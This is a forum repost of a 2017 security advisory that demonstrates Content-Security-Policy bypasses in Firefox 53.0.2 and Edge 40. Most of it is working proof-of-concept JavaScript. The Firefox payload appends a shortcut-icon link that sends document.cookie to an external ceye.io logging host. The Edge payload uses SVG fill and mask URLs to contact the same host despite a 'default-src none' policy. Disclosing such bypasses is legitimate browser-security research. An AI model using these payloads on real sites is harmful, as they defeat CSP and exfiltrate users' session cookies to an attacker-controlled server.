Firefox53 & Edge40 Browsers CSP Bypass

hades / 2017-05-10 09:39:57 / 浏览数 3712 安全技术 漏洞分析 顶(0) 踩(0)

```
[+] Author: evi1m0
[+] Team: n0tr00t security team
[+] From: http://www.n0tr00t.com
[+] Create: 2017-05-10
```

Firefox 53.0.2 Version

- PoC: http://server.n0tr00t.com/firefox/ffcsp53.0.2.php
- PiC: [img]https://ws1.sinaimg.cn/large/c334041bgy1ffeb2a6xfej20ph09nacs.jpg[/img]

CSP RULE:

```
header("Content-Security-Policy: default-src 'none' 'unsafe-inline';");
```

Bypass:

```
x = (new Date()).valueOf();
document.cookie = "csp=" + escape("SECUREKEY@^#2!@#") + ";";

ffn0t= document.head.appendChild(document.createElement("link"));
ffn0t.rel = "shortcut icon";
ffn0t.href = "http://" + x + ".shortcuticon.ff.vqn3j8.ceye.io/?" + document.cookie;
```

Microsoft Edge 40.15063 Version

- PoC: http://server.n0tr00t.com/test/edge3.php
- PiC:

CSP RULE:

```
header("Content-Security-Policy: default-src 'none' 'unsafe-inline';");
```

Bypass:

```
<script>
(function(){
var x = document.body.appendChild(document.createElement("svg"));
x.setAttribute("id", "n0tr00t");
x.setAttribute("xmlns", "http://www.w3.org/2000/svg");

/* fill & mask */
var svgNS = "http://www.w3.org/2000/svg";
var n0tr00t = document.getElementById('n0tr00t');
var fillurl = "url(http://csp32test2.edge.vqn3j8.ceye.io/fillbypass)";
var maskurl = "url(http://csp32test2.edge.vqn3j8.ceye.io/maskbypass)";
var nodeRect = n0tr00t.appendChild(document.createElementNS(svgNS, "rect"));
nodeRect.setAttribute("height", 200);
nodeRect.setAttribute("width", 200);
nodeRect.setAttribute("fill", fillurl);
nodeRect.setAttribute("stroke","#000000");
var nodeRect2 = n0tr00t.appendChild(document.createElementNS(svgNS, "rect"));
nodeRect2.setAttribute("height", 200);
nodeRect2.setAttribute("width", 200);
nodeRect2.setAttribute("fill", "green");
nodeRect2.setAttribute("mask", maskurl);
nodeRect2.setAttribute("stroke","#000000");
})()
</script>
```


上一篇：新型Web攻击技术——Web缓存欺骗 下一篇：Android安全攻防实战

1. 0 条回复

- 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板